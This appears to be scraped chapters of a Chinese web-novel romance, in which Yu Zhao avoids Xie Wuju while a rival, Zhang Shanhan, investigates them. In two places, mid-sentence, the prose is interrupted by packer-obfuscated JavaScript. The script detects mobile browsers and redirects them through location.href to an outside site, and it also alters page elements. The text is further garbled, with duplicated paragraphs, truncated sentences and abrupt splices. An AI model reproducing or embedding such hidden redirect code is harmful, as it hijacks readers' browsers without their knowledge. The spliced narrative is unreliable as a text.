虞昭的手指无意识地摩挲着书页边缘,把纸张都揉出了褶皱。她刚要开口,院门突然被轻轻叩响。两人同时转头望去,只见谢无咎正站在门外,手里捧着几本崭新的书册。 “我、我去开门。”半莲快步走去,虞昭却慌得差点从椅子上站起来。她手忙脚乱地整理着衣襟,又摸了摸发髻,心跳快得像要蹦出胸膛。 “虞昭。”谢无咎走进院子,阳光在他肩头跳跃,“我在书肆看到这几本游记,想着你爱看,就......” 他的话突然停住了。虞昭站在原地没动,甚至没有像往常那样迎上来。她只是勉强扯出一个笑容:“多谢谢公子挂念。” 谢无咎的手悬在半空,最后还是把书轻轻放在石桌上。虞昭注意到他的指尖有些发红,想必是捧着书在太阳底下走了好一阵子。 “你最近......”谢无咎犹豫着开口,“是不是身子不舒服?” “没有的事。”虞昭飞快地摇头,眼睛盯着地上的光影,“就是......就是有些忙。” 谢无咎盯着她低垂的睫毛,忽然说道:“我昨日读到一句话,说''君子之交淡如水'',你觉得......” “好像是有那么点道理!”虞昭猛地抬头,声音比平时高了几分,“谢公子,我有些累了,想先去休息。” 谢无咎的笑容僵在脸上。“我明白了。”他干巴巴地应着,“那......那我就不打扰了。” 虞昭看着他转身时衣摆划出的弧线,喉咙像被什么堵住了。她想叫住他,想说自己不是那个意思,可一想到那个要命的好感值,又硬生生把话咽了回去。 “谢公子!”她突然喊出声。 谢无咎立刻转身,眼睛一下子亮了起来:“怎么了?” 虞昭张了张嘴,那句挽留的话在舌尖转了一圈,最终变成:“路上...路上当心些。” 那点亮光倏地熄灭了。谢无咎扯了扯嘴角,露出一个比哭还难看的笑容:“好。”他转身走得很快,像是生怕自己会忍不住回头似的。 半莲急得直跺脚:“小姐!” “让他走吧。”虞昭的声音轻得几乎听不见。她伸手去拿桌上的书,却发现自己的手抖得厉害。书页间飘落一张字条,上面是谢无咎工整的字迹:“昨夜读到''所谓伊人,在水一方'',忽然很想见你。” 虞昭猛地攥紧字条,眼泪差点夺眶而出。她抬头望向院门,那里早已空无一人,只有树的影子还在随风舞动。 半莲红着眼眶递来帕子:“您这又是何苦......” 虞昭把字条紧紧贴在胸口,那里疼得像被人生生剜去一块。“我也不想这样......”她哽咽着说,“可我更不想害了他。” 半莲轻轻拍着她的背,抬头望见院墙外谢无咎的身影还站在原地没走远。阳光把他的影子拉得很长,孤零零地映在石板路上,还在微微摇曳。 ———— 阳光正好,照得虞家院墙上的爬山虎泛着油亮的光。谢无咎站在院门外,手指无意识地摩挲着袖口的褶皱。他今天特意换了一身崭新的靛青色长衫,连发髻都梳得一丝不苟,可心里却乱得像团麻。 “咚咚咚”——他第三次抬手敲门,指节叩在门环上的声音在安静的巷子里格外清脆。等了半晌,里面还是没有动静。谢无咎的心一点点沉了下去,正犹豫着要不要再敲一次,突然听见院内传来一阵急促的脚步声。 门“吱呀”一声开了条缝,露出半莲圆润的脸蛋:“谢公子?”她惊讶地睁大眼睛,连忙把门开大些,“您怎么来了?” 谢无咎喉结滚动了一下:“我、我来看看虞昭。”声音比想象中还要干涩。 半莲回头望了望内院,压低声音:“小姐这几日心情不太好,您...” “我知道。”谢无咎打断她,从袖中取出一个油纸包,“这是城南新出的蜜饯,她最爱吃的。” 半莲接过还带着体温的油纸包,犹豫了一下:“您稍等,我去问问小姐。” 谢无咎点点头,站在门口不安地踱步。院墙内飘来一阵熟悉的茉莉香,是虞昭常用的熏香味道。他深吸一口气,突然听见内院传来一阵低语声。 “小姐,谢公子来了,还带了您爱吃的蜜饯...” “他怎么又来了...”虞昭的声音轻得像羽毛,却让谢无咎心头一紧。 “要不...让他进来坐坐?” 一阵沉默后,虞昭叹了口气:“罢了,让他进来吧。” 半莲匆匆跑回来开门时,谢无咎已经退到了台阶下。阳光照在他身上,在地上投下一道修长的影子。 “谢公子,小姐请您进去。”半莲侧身让开路。 谢无咎整了整衣襟,迈步走进院子。虞昭正站在廊下,穿着一身淡紫色的衫裙,发间只簪了一支素银簪子,比往日素净许多。见他进来,她下意识往后退了半步,又强自站定。 “谢公子。”她轻声唤道,眼睛却盯着地面。 谢无咎的心像被针扎了一下。他记得上次见面时,虞昭还会笑着迎上来,眼睛亮晶晶地喊他“谢公子”。现在这声称呼,却像是隔了千山万水。 “虞昭。”他努力让自己的声音听起来平静,“我...我带了蜜饯给你。” 虞昭这才抬头看他一眼,又很快移开视线:“多谢。”她绞着手中的帕子,“进屋坐吧。” 两人一前一后走进花厅,半莲识趣地退了出去。谢无咎看着虞昭单薄的背影,突然发现她瘦了不少,肩膀的轮廓在阳光下显得格外清晰。 花厅里,阳光透过窗纱在地上投下斑驳的光影。谢无咎坐在藤椅上,手指无意识地摩挲着茶杯边缘,眼睛却一直盯着虞昭。她今天穿了件淡青色的衫子,衬得脸色越发苍白。 “虞昭,”谢无咎终于打破沉默,“我是不是做错了什么?”声音里带着小心翼翼的试探。 虞昭手里的茶匙“叮”的一声掉在杯子里。她慌忙捡起来,强笑道:“怎么会...谢公子很好。” “那为什么...”谢无咎的指尖在桌上轻轻敲了两下,“突然要躲着我?” 虞昭的睫毛颤了颤,在眼下投下一小片阴影:“我爹最近管得严...”她的声音越来越小,最后几乎听不见了。 谢无咎突然站起身,走到窗前。院子里,几只麻雀正在啄食地上的米粒,叽叽喳喳好不热闹。 “虞昭,”他背对着她说,“还记得我们第一次去放风筝吗?那天风很大,你的头发都被吹乱了。” 虞昭的手指绞紧了衣角:“记、记得。” “后来风筝跑了了,你急得直跺脚。”谢无咎转过身,眼里带着温柔的笑意,“我们废了好大一番功夫才把风筝追回来。” 虞昭的鼻子突然一酸。那天谢无咎的手臂被树枝划了道口子,却还笑着把风筝递给她说“没事”。 “谢公子...”她的声音有些哽咽。 “还有那次画画,”谢无咎继续道,“你老是画歪,急得脸都红了。” 虞昭想起当时谢无咎手把手教她的情景,他的手掌温暖干燥,指尖偶尔碰到她的手背。 “别说了。”她别过脸去,怕他看到自己泛红的眼眶。 谢无咎走回她身边坐下:“虞昭,我不是要逼你。”他轻声说,“只是...这些回忆对我来说太珍贵了。” 窗外吹来一阵风,带着初夏特有的暖意。虞昭看着桌上两人倒映在茶汤里的影子,那么近又那么远。 “我知道。”她终于抬起头,勉强笑了笑,“等过些日子...等我爹不那么严了...” 谢无咎的眼睛亮了起来:“真的?那说好了。”他像个孩子似的伸出小指,“拉钩。” 虞昭看着他那根修长的手指,犹豫了一下,还是伸出自己的小指勾了上去。谢无咎的指尖有些凉,却让她心头一暖。 “对了,”谢无咎突然想起什么,从袖中取出一个小布包,“路过买的蜜饯,你最爱吃的。” 虞昭接过还带着他体温的油纸包,鼻子又是一酸。她记得上次随口提过喜欢这家的,没想到他记到现在。 “谢谢...”她小心地拆开油纸,取出一颗放进嘴里。甜味在舌尖化开,却带着说不出的苦涩。 谢无咎看着她吃东西的样子,嘴角不自觉地上扬:“甜吗?” 虞昭点点头,突然注意到他衣袖上有一道墨迹:“你最近在练字?” “嗯,”谢无咎有些不好意思地拉了拉袖子,“照着你的字帖练的,还是差得远。” 虞昭想起自己那本被墨水染花的字帖,是谢无咎送的。他说她的字像她的人一样秀气... “谢公子...”她鼓起勇气,“其实我...” 话到嘴边又咽了回去。她该怎么告诉他,每次见面都可能是在把自己往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虞昭伸手接过茶盏时,指尖不小心碰到谢无咎的手背,立刻像被烫着似的缩了回来。茶盏在托盘上轻轻一晃,溅出两滴茶水,在红木几面上留下深色的圆点。 “小心烫。”谢无咎下意识伸手想扶,又在半空停住,转而端起自己的茶盏。他低头啜了一口,喉结上下滚动,“这茶......很香。” “是我爹前些日子从杭州带回来的。”虞昭捧着茶盏暖手,热气熏得她眼眶有些发热,“他说是今年最早的春茶。” 谢无咎又喝了一口,细细品味着:“入口清甜,后味却带着点苦。”他抬头看向虞昭,眼神温柔,“就像......” “谢公子若是喜欢,我让半莲包些给你带回去。”虞昭急急打断他的话,转头对半莲使了个眼色。小丫鬟会意,正要退下,却被谢无咎叫住。 “不必了。”他放下茶盏,瓷器与木几相碰,发出清脆的声响,“我今日来,本就不是为了讨茶喝的。” 虞昭的手指紧了紧,茶水的热气扑在脸上,分不清是水汽还是别的什么让她的视线变得模糊。她听见谢无咎继续说:“我就是想看看你。这些日子......你总是躲着我。” “我没有......”虞昭的声音低得几乎听不见。 “虞昭。”谢无咎忽然向前倾身,双手撑在几案上,“看着我说话。” 虞昭不得不抬起头,正对上他灼灼的目光。那眼神太过直白,烫得她心尖发颤。“谢公子,”她艰难地开口,“我们......” “我知道你要说什么。”谢无咎苦笑一下,坐回原位,“可在我心里,没有人能替代你。你说会遇到更合适的朋友,可我要的不是''合适'',是你。” 窗外传来卖糖糕的吆喝声,由远及近,又渐渐远去。虞昭盯着茶水中自己的倒影,那张脸被水波扭曲得不成样子。“你会后悔的。”她轻声说。 “那也是我的事。”谢无咎的声音突然坚定起来,“至少让我自己选择要不要后悔,好吗?” 虞昭再也说不出推拒的话。她看着谢无咎站起身,阳光从他身后照进来,在地上投下一道长长的影子。 “我该走了。”他说着,却没有立即挪步,像是在等她挽留。 虞昭站起身,衣袖带倒了茶盏。褐色的茶水在几面上漫开,像一幅写意的山水。“路上当心。”她最终只说出这么一句。 谢无咎点点头,转身时衣角扫过门框。他在门口顿了顿,回头望过来的那一眼,让虞昭差点就要冲上去拉住他。但最终,她只是站在原地,看着他的背影消失在照壁后面。 半莲悄悄走过来收拾茶具,小声问:“小姐,要追吗?” 虞昭摇摇头,伸手接住从发间滑落的海棠珠花。那朵花不知何时已经松了,此刻正静静躺在她掌心,花瓣边缘有些褪色了。 12. 章山菡的试探 虞昭坐在院里的石凳上,眉头紧皱,她盯着地上爬过的一队蚂蚁,思绪却飘得老远。她知道,章山菡这段时间一直在暗中观察着自己,行事可得更加小心谨慎了。 半莲在一旁给花草浇水,瞧见虞昭那副忧心忡忡的模样,轻轻碰了碰她的手:“小姐,您这又是在发愁啥?这眉头都快拧成麻花了。” 虞昭勉强笑了笑:“我在想事情。” 半莲把水壶放在一旁,凑近了些:“是不是又在担心章小姐那边?” 虞昭的指尖无意识地划过石桌上的纹路,“她最近盯得越来越紧了,”她压低声音,“昨儿个我去后院摘花,总觉得有人在墙外张望。” 半莲倒吸一口凉气:“小姐,那咱尽量少出门呗,在家待着,她不就没那么容易发现啥了。” “总不能一辈子躲着。”虞昭站起身,拍了拍裙子,“我去街上买些笔墨,你留在家里。”她顿了顿,又叮嘱道:“要是谢公子来,就说我不在。” 半莲欲言又止,最后还是点了点头。 说街上人来人往,虞昭却觉得后背发凉。她刻意放慢脚步,时不时借着整理发簪的机会往后瞥一眼。路过李记包子铺时,热腾腾的蒸汽模糊了她的视线,她差点撞上一个挎着菜篮的大娘。 “对不住。”虞昭慌忙道歉,却听到身后传来一阵熟悉的笑声。 她浑身一僵,慢慢转过身。章山菡正站在绸缎庄门口,身边围着三四个丫鬟。今天她穿了身鹅黄色的衫子,在阳光下亮得刺眼。 “虞小姐也来逛街?”章山菡笑吟吟地走过来,手腕上的玉镯叮当作响。 虞昭强迫自己露出笑容:“是啊,来买些笔墨。”她的目光扫过章山菡身后的丫鬟,发现其中一人手里捧着匹月白色的绸缎——那是谢无咎最常穿的颜色。 章山菡顺着她的视线看去,忽然掩嘴轻笑:“这料子好看吧?我打算做件披风送给谢公子。”她故意顿了顿,“听说他最近心情不太好?” 虞昭的指甲掐进掌心,脸上却不动声色:“是吗?我倒没注意。” “哎呀,你们不是经常见面吗?”章山菡眨眨眼,“难道最近......” “章小姐说笑了。”虞昭打断她,“我与谢公子不过是寻常往来。”她抬手指了指文具铺子,“我先去忙了,告辞。” 走进铺子时,虞昭的手抖得厉害,差点碰倒架上的砚台。老板热情地迎上来:“虞小姐,老规矩?您上回要的松烟墨到了。” 虞昭胡乱点头,眼睛却一直盯着窗外。章山菡还站在原地,正歪着头跟丫鬟说着什么,时不时往铺子这边看上一眼。 “您脸色不太好。”老板包好笔墨,担忧地问,“要不要喝杯茶?” 虞昭勉强笑笑:“不用了,多谢。”她接过纸包,从后门匆匆离开。 回到家,虞昭把东西往桌上一扔,整个人瘫在椅子上。半莲端来热茶,她接过来时,茶水在杯子里晃出一圈圈涟漪。 “小姐,您的手......” 虞昭这才发现自己的手还在微微发抖。她放下茶杯,苦笑道:“我刚才差点露馅。章山菡故意提起谢公子,就是在试探我。” 半莲绞着手指:“那怎么办?” “只能更小心些。”虞昭望向窗外,夕阳把大树的影子拉得很长,“我总觉得......她快要发现什么了。” 过了几天,虞家的亲戚要办喜事。 虞昭本不想去的,想着人多眼杂的,万一再被章山菡看出什么来就糟了,可家里长辈都去,自己也只好跟着一起去了。 喜宴这日,虞昭天不亮就醒了。她坐在梳妆台前,看着铜镜里自己眼下淡淡的青色,轻轻叹了口气。 半莲给她梳头时,她一直心不在焉地绞着衣带。 “小姐别担心,”半莲往她发间簪了支素银簪子,“今儿个人多,章小姐未必能注意到您。” 喜宴设在城东的赵家大院。虞昭一下轿子,就被扑面而来的锣鼓声震得耳膜发疼。院子里张灯结彩,到处贴着大红喜字。她跟在父母身后,脸上挂着得体的微笑,眼睛却不停地扫视着四周。 “昭儿,”母亲回头唤她,“发什么呆呢?快过来见见你姑祖母。” 虞昭这才回过神,快步跟上。她接过丫鬟递来的茶盏,借着氤氲的热气遮掩,目光继续在人群中搜寻。 忽然,她手一抖,差点打翻茶盏,不远处,章山菡正被一群姑娘围着说笑。 今日章山菡穿了身桃红色的衫裙,发间金钗在阳光下闪闪发亮。她似乎察觉到什么,突然转头朝这边看来。虞昭慌忙低头,假装被茶水烫到舌头。 “怎么了?”母亲关切地问。 “没事,”虞昭用帕子擦了擦嘴角,“茶有点烫。” 她借着整理衣襟的功夫,悄悄往后退了几步,躲到一株石榴树后。树上的石榴花开得正艳,有几瓣落在她肩头,她也顾不上拂去。 “虞小姐怎么一个人在这儿?” 这声音让虞昭浑身一僵。她慢慢转身,章山菡不知何时已经站在她面前,手里摇着柄团扇,扇面上绣着戏水的鸳鸯。 “我...我出来透透气。”虞昭强作镇定,手指悄悄掐住一片石榴叶。 章山菡轻笑一声,扇子掩住半边脸:“里面是有些闷热。”她忽然凑近一步,“听说谢公子今日也来了,你见着他了吗?” 虞昭的后背抵上树干,粗糙的树皮硌得她生疼。“我没注意。”她尽量让自己的声音听起来平静。 章山菡的扇子停住了。她眯起眼睛,像是要从虞昭脸上找出什么破绽。“真奇怪,”她慢悠悠地说,“你们不是形影不离的吗?” 就在这时,远处传来一阵哄笑。虞昭趁机往那边张望:“好像要开席了,我们过去吧。” 她快步走开,心跳得像要冲出胸膛。身后,章山菡的声音轻轻飘来:“躲得了一时,躲不了一世呢,虞小姐。” 虞昭的脚步顿了一下,但没敢回头。她把手心里掐烂的石榴叶扔在地上,那抹残红很快就被来往的宾客踩进了泥土里。 宴席上,虞昭刚夹起一筷子清蒸鲈鱼,就听见椅子挪动的声音。章山菡端着酒杯,笑吟吟地站在她身旁:“虞小姐,不介意我坐这儿吧?” 虞昭的筷子尖微微一颤,鱼片差点掉回盘中。她强撑着笑道:“章小姐请便。” 章山菡施施然落座,裙摆扫过虞昭的绣鞋。她身上淡淡的茉莉香混着酒气飘过来,熏得虞昭太阳穴突突直跳。 “听说前几日城西开了家新绸缎庄,”章山菡突然凑近,“虞小姐去逛过吗?” 虞昭的指尖在杯沿上轻轻打转:“还没得空。” “真可惜,”章山菡抿了口酒,“我前天在那儿遇见谢公子了,他挑了匹月白色的料子,说是要做新衣裳。”她意味深长地看了虞昭一眼,“你们以前不是常一起去选料子吗?” 虞昭的耳根瞬间烧了起来。她正想岔开话题,邻座的李小姐突然拍手笑道:“你们听说没有?前段时间有人在东市看见一对放风筝的年轻男女,那风筝线缠在一起,两人手忙脚乱的样子可有趣了!” 虞昭的酒杯“当”地碰在碟子上。她想起上月和谢无咎放风筝时,那缠作一团的丝线,还有他红着脸帮她解开发丝的模样。 “是吗?”她声音发紧,“我倒没听说...” 章山菡的团扇突然停住。她盯着虞昭泛红的耳尖,轻笑道:“虞小姐怎么出汗了?这酒很烈吗?” 虞昭慌忙用帕子按了按额头。这时丫鬟上来换碟子,她趁机起身:“我去添些茶水。” 宴席将散时,虞昭已经如坐针毡。她刚想找借口离席,章山菡却突然挽住她的手臂:“虞小姐,咱们去园子里走走吧?听说赵家的牡丹开得正好。” 虞昭的手臂僵得像块木头。她正想推辞,章山菡已经凑到她耳边,压低声音道:“你猜我刚才看见谁了?谢公子正在找你呢。” 虞昭的心猛地一跳。她明知道这可能是陷阱,却还是忍不住往厅外张望。章山菡见状,嘴角勾起一抹冷笑。 “我...我有些头晕。”虞昭突然扶住额头,“可能是酒劲上来了。” 章山菡却不松手:“那我扶你去歇息。” “不必了!”虞昭猛地抽回手,声音比想象中尖锐。见周围人都看过来,她勉强笑道:“我自己去就好。” 她快步走向回廊,后背的衣裳已经汗湿了一片。 转过假山时,她听见章山菡对旁人笑道:“虞小姐今日怎么怪怪的?”那笑声像根针,直直扎进她心里。 虞昭刚在凉亭里坐下,身后就传来一阵熟悉的脚步声。她猛地回头,看见章山菡正倚在廊柱边,手里把玩着一枝刚折下的芍药。 “章小姐怎么......”虞昭心里暗叫不好,赶忙站起身。 虞昭心里暗叫不好,赶忙站起身来,笑着说道:“章小姐,你怎么也过来了?” 章山菡轻笑一声,慢悠悠地走过来:“虞小姐慌什么?”她俯身捡起茶盏,指尖在杯沿轻轻一转,“莫非是做了什么亏心事?” 虞昭的指尖掐进掌心。凉亭外的池塘里,几尾锦鲤突然跃出水面,溅起的水花声把她吓了一跳。 “我能有什么亏心事,”她强笑道,“只是没想到章小姐会跟过来。” 章山菡突然凑近,芍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15427310|168970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药花擦过虞昭的耳垂:“那个放风筝的姑娘,是你吧?”她的声音又轻又柔,却像刀子一样锋利,“我听说那天的风筝上,还题了首情诗呢。” 虞昭的呼吸一滞。她想起那天谢无咎在风筝上写的“愿为西南风”,脸颊顿时烧了起来。这个细节,除了她和谢无咎,根本没人知道。 “你胡说什么!”虞昭往后退了一步,后背抵上凉亭的栏杆。 章山菡把玩着芍药,突然“咔嚓”一声折断了花茎:“装傻也没用。你最近躲着谢无咎,不就是怕人发现你们的事?”她将残花扔进池塘,“我倒要看看,你能藏到几时。” 虞昭看着那朵芍药在水面打着转,突然伸手抓住章山菡的手腕:“你到底想怎样?” 章山菡挣开她的手,冷笑道:“我要查个明白。若是让我发现你接近谢公子别有用心......”她故意没说完,转身时裙摆扫过虞昭的绣鞋,“咱们走着瞧。” 看着章山菡远去的背影,虞昭腿一软,差点跪坐在地上。池塘里的锦鲤聚过来,争相啄食那朵残破的芍药。 回到家中,虞昭连换了三杯茶,手还是抖得厉害。半莲急得直跺脚:“小姐,到底出什么事了?” “章山菡起疑了。”虞昭盯着茶水里自己的倒影,“她连风筝上的诗都知道......” 半莲倒吸一口凉气:“那怎么办?” 虞昭望向窗外。暮色中,几只归巢的麻雀扑棱棱飞过。“从明日起,”她轻声道,“你替我多留意章家的动静。” 而此时章府里,章山菡正对着铜镜梳发。她突然停下玉梳,对身后的丫鬟道:“去打听打听,虞昭最近都去过哪些地方,见过哪些人。”镜中的她勾起一抹冷笑,“特别是她和谢公子的事,一件都别漏。” 这日清晨,章山菡特意换了身素净衣裳,戴着帷帽来到城西的济世堂。药铺里飘着淡淡的当归味,老大夫正在柜台后称药。 “姑娘是看诊还是抓药?”老大夫头也不抬地问道。 章山菡摘下帷帽,露出甜美的笑容:“大夫,我听说虞家小姐常来您这儿?” 老大夫手上的戥子顿了顿:“姑娘问这个做什么?” 章山菡从袖中掏出一锭银子,轻轻放在柜台上:“我就是好奇,虞小姐身子骨一向不错,怎么突然常来医馆了?” 老大夫盯着那锭银子看了半晌,终于叹了口气:“虞小姐是来问调理气血的方子,说是给朋友用的。”他压低声音,“上个月还特意问了治疗心疾的药材。” “心疾?”章山菡眼睛一亮,“她可说了是给谁用的?” “这我可不能说。”老大夫把银子推回去,“姑娘请回吧。” 章山菡却不接,反而又加了一锭:“大夫再想想?比如......是不是位年轻公子?” 老大夫的胡须抖了抖,最终将银子收进袖中:“确实有位谢公子来抓过药。”说完就转身去整理药柜,再也不肯多言。 章山菡满意地戴上帷帽离开。走到巷口时,她突然停下脚步——对面绸缎庄里,虞昭正带着半莲在挑选布料。 “小姐,要跟上去吗?”丫鬟小声问道。 章山菡摇摇头,唇角勾起一抹冷笑:“不急。”她摩挲着腕上的玉镯,“去查查谢无咎是不是真有心疾。” 而此时绸缎庄内,虞昭正心不在焉地摸着一段月白色云纹缎。这料子柔软光滑,像极了谢无咎常穿的那件外衫。 “小姐,这料子......”半莲刚开口,就见虞昭突然缩回手,像是被烫着了似的。 “不要了。”虞昭快步走向门口,突然又折回来,对掌柜道:“方才可有人来打听过什么?” 掌柜一愣:“就章家小姐的丫鬟来问过新到的花色......” 虞昭脸色瞬间煞白。她匆匆付了钱,拉着半莲就往家走。路过济世堂时,她刻意绕到对面巷子,心跳快得像要蹦出胸膛。 “小姐在担心什么?”半莲气喘吁吁地跟着。 虞昭死死攥着手中的帕子:“章山菡去过医馆了。”帕子上绣的缠枝纹被她绞得变了形,“她肯定查到谢公子的事了。” 回到家中,虞昭连晚饭都没用就把自己关在房里。窗外,暮色中的麻雀叽叽喳喳叫个不停,吵得她脑仁疼。她盯着梳妆台上谢无咎送的发簪,连带着胭脂盒一把扫到地上。 瓷盒碎裂的声音惊动了门外的半莲。“小姐!” “我没事。”虞昭蹲下身,一片片捡着碎片。锋利的瓷片划破指尖,她却浑然不觉。殷血珠滴在月白裙摆上,像极了她曾经做过的噩梦——谢无咎用刀驾着她的脖子,一下又一下,鲜血顺着刀尖滴落在裙摆上。 13. 前有狼后有虎 这日,谢无咎心情还算不错,前些日子虞昭对他的疏远,让他心里一直沉甸甸的,可这几日他又琢磨着,不管怎样,和虞昭相处的时光总是美好的,他实在不想就这么和她生分了。 谢无咎站在虞家门前,手指轻轻叩了三下门环。他今日特意换了件新做的靛青色长衫,袖口还熏了淡淡的沉香味。门环碰撞的声音在安静的巷子里格外清脆,惊飞了屋檐上的一对麻雀。 半莲打开门时,谢无咎正无意识地摩挲着腰间玉佩的流苏。“谢公子来了?”半莲眼睛一亮,回头朝屋里喊道:“小姐,是谢公子!” 虞昭正在窗前发呆,想着章山菡最近那紧盯着自己不放的架势,闻言手一抖,茶盏里的水洒在裙摆上。她慌忙用帕子擦拭,却越擦水渍越大。“请、请他进来吧。”她的声音有些发颤。 虞昭正在屋里发愁,想着章山菡最近那紧盯着自己不放的架势,正愁不知该怎么应对,就听到了敲门声。半莲去开了门,回来说是谢无咎来了,虞昭心里“咯噔”一下,犹豫了一下,还是说道:“请他进来吧。” 谢无咎跨过门槛时,正好看见虞昭手忙脚乱地整理衣裙的样子。“虞昭,”他轻声道,“今日城南有个小聚,都是相熟的朋友......”话说到一半,他突然发现虞昭的脸色比上次见面更加憔悴了。 虞昭的手指绞着帕子。她既怕拒绝会让谢无咎更加难过,又担心去了聚会会让章山菡抓到把柄。窗外的知了突然聒噪起来,吵得她太阳穴突突直跳。 “好。”她听见自己说。这个字一出口,谢无咎的眼睛立刻亮了起来,像是夜空中突然被点亮的星子。 路上两人一前一后走着,谢无咎刻意放慢脚步等她,却不敢靠得太近。路过一个卖糖葫芦的小摊时,他下意识停下脚步,试探着问:“要买一串吗?” 虞昭摇摇头,快步走过摊子。她的背影看起来单薄得像张纸,仿佛风一吹就会飘走。 一路上,两人都没怎么说话,气氛还是有点微妙,虞昭心里惦记着章山菡的事儿,谢无咎则是怕自己多说多错,又惹得虞昭不开心了。 到了聚会的庭院,紫藤花架下摆着几张矮几,宾客们三三两两地围坐着。谢无咎领着虞昭穿过回廊时,恰好一阵风吹过,淡紫色的花瓣纷纷扬扬地落下来,有几片沾在了虞昭的发间。 “哟,这不是谢兄和虞小姐吗?”穿杏色长衫的王公子最先瞧见他们,笑着站起身来,“可算把你们盼来了。” 谢无咎笑着拱手:“路上耽搁了些时辰。”他侧身让虞昭上前,衣袖不经意间擦过她的手背,又迅速收了回来。 虞昭微微颔首,目光扫过在场的众人。她认得其中几位,都是谢无咎的至交好友。忽然,她注意到角落里一个穿湖蓝色衫子的姑娘正盯着她看,眼神里带着几分探究。那是章山菡的表妹,虞昭的心一下子提了起来。 “虞小姐近来可好?”王公子热情地招呼道,“上回听你讲《楚辞》的见解,我可是受益匪浅。” 虞昭勉强笑了笑:“王公子过奖了。”她下意识往谢无咎身边靠了半步,像是在寻求庇护。 “都别站着了,”谢无咎适时解围,“坐下说话吧。” 众人落座后,侍女们端上茶点。虞昭接过茶盏时,发现自己的指尖在微微发抖。她深吸一口气,强迫自己镇定下来。 话题很快转向了近日京城流行的诗词。谢无咎的好友李公子拿出一卷新得的诗册,众人传阅品评。虞昭接过诗册时,闻到上面淡淡的墨香,忽然想起在现代时背过的那些唐诗宋词。 “我倒觉得,”她轻声道,“''海上生明月,天涯共此时''这句最妙。看似写景,实则抒情。” 席间顿时安静下来。谢无咎转头看她,眼里闪着惊喜的光:“虞昭说得极是。这诗看似平淡,实则...” “实则老套得很。”一个清脆的声音突然插进来。众人回头,见是章山菡的表妹林小姐。她摇着团扇,似笑非笑地说:“这样的诗,京城里随便哪个才子都能写出来。” 气氛一时有些尴尬。谢无咎皱了皱眉,正要说话,王公子突然拍手道:“不如我们来玩猜谜吧?正好助助兴。” 这个提议得到了大家的一致赞同。游戏开始后,起初的谜语都是些常见的典故。虞昭安静地坐在一旁,只在被点到时才轻声说出答案。 “这个谜语可难了,”李公子挠着头,“''有头没有尾,有角没有嘴,摇动角就动,喝水不张嘴'',打一物。” 众人苦思冥想之际,虞昭忽然想起小时候外婆教她的谜语。“是...水车吗?”她不确定地问。 “正是!”李公子拍案叫绝,“虞小姐果然聪慧!” 谢无咎的眼里满是骄傲,仿佛猜中谜语的是他自己。他忍不住凑近虞昭:“你还有什么绝活,快让大家开开眼界。” 虞昭的脸一下子红了。她想起在现代时,外婆常给她出的那些谜语。“我倒是知道几个新鲜的,”她犹豫了一下,“''弯弯藤儿架上爬,串串珍珠上边挂'',打一植物。” 席间顿时议论纷纷。有人猜是牵牛花,有人说是葫芦,却都不对。最后连谢无咎都摇头认输:“这个谜语当真新奇,我从未听过。” “是葡萄。”虞昭解释道,“葡萄藤弯弯曲曲地爬在架子上,结的果实像一串串珍珠。” “妙啊!”王公子击节赞叹,“虞小姐这谜语编得真巧。” 林小姐却不以为然:“不过是碰巧罢了。虞小姐再来一个?” 虞昭感到一丝挑衅,却也不恼。她想了想,又道:“''小小诸葛亮,独坐军中帐,摆成八卦阵,专抓飞来将''。” 这下连谢无咎都皱起了眉头。众人你一言我一语地猜测,却始终不得其解。虞昭看着他们抓耳挠腮的样子,不禁莞尔:“是蜘蛛。它坐在网中央,就像诸葛亮坐镇军中,蛛网如同八卦阵...” “绝了!”谢无咎突然拍手,眼睛亮得惊人,“虞昭,你这些谜语都是从哪儿学来的?” 虞昭的笑容僵在脸上。她这才意识到自己一时忘形,竟忘了要克制与谢无咎的互动。“就是...偶然听来的。”她低下头,假装整理衣袖。 谢无咎却沉浸在兴奋中,没注意到她的异样:“我从未听过如此新奇的谜语。虞昭,你总是能给我惊喜。” 这话让虞昭心头一紧。她偷偷抬眼,果然看见林小姐正意味深长地笑着,手里的团扇有一下没一下地摇着。 “谢公子过奖了。”虞昭急忙转移话题,“不过是些乡野趣闻,不值一提。” 这时,侍女端上一盘新鲜的荔枝。谢无咎自然地拿起一颗,剥好递给虞昭。这个动作太过熟稔,引得众人会心一笑。 虞昭的手悬在半空,接也不是,不接也不是。最后她勉强接过,指尖却刻意避开了谢无咎的手。“多谢。”她轻声道,声音几乎微不可闻。 谢无咎这才察觉她的疏离,笑容渐渐淡去。他收回手,无意识地摩挲着指尖,那里还残留着荔枝冰凉的触感。 虞昭站在投掷线前,手里捏着一支箭矢,指尖无意识地摩挲着箭尾的羽毛。 “虞小姐试试?”王公子笑着递过另一支箭。 虞昭接过箭,忽然想起大学时参加的射箭社团。教练说过的话仿佛还在耳边:“手腕要稳,呼吸要匀...”她深吸一口气,抬手、瞄准、投掷,动作一气呵成。 “嗖”的一声,箭矢稳稳落入壶中,发出清脆的“叮当”响。 “好!”谢无咎第一个喝彩,眼睛亮得惊人。他快步走到虞昭身边,“你什么时候学的这个?” 虞昭的耳根微微发热:“就是...随便玩玩。”她又拿起一支箭,这次故意偏了偏手腕,箭矢擦着壶边飞过。 “哎呀,可惜。”李公子惋惜道。 谢无咎却若有所思地看了虞昭一眼。方才那一投,她的动作明显比第一次生疏了许多,像是...刻意为之。 轮到谢无咎时,他连投三箭皆中。最后一支箭甚至将虞昭先前投进的那支顶了出来,两支箭在壶口相撞,发出清脆的声响。 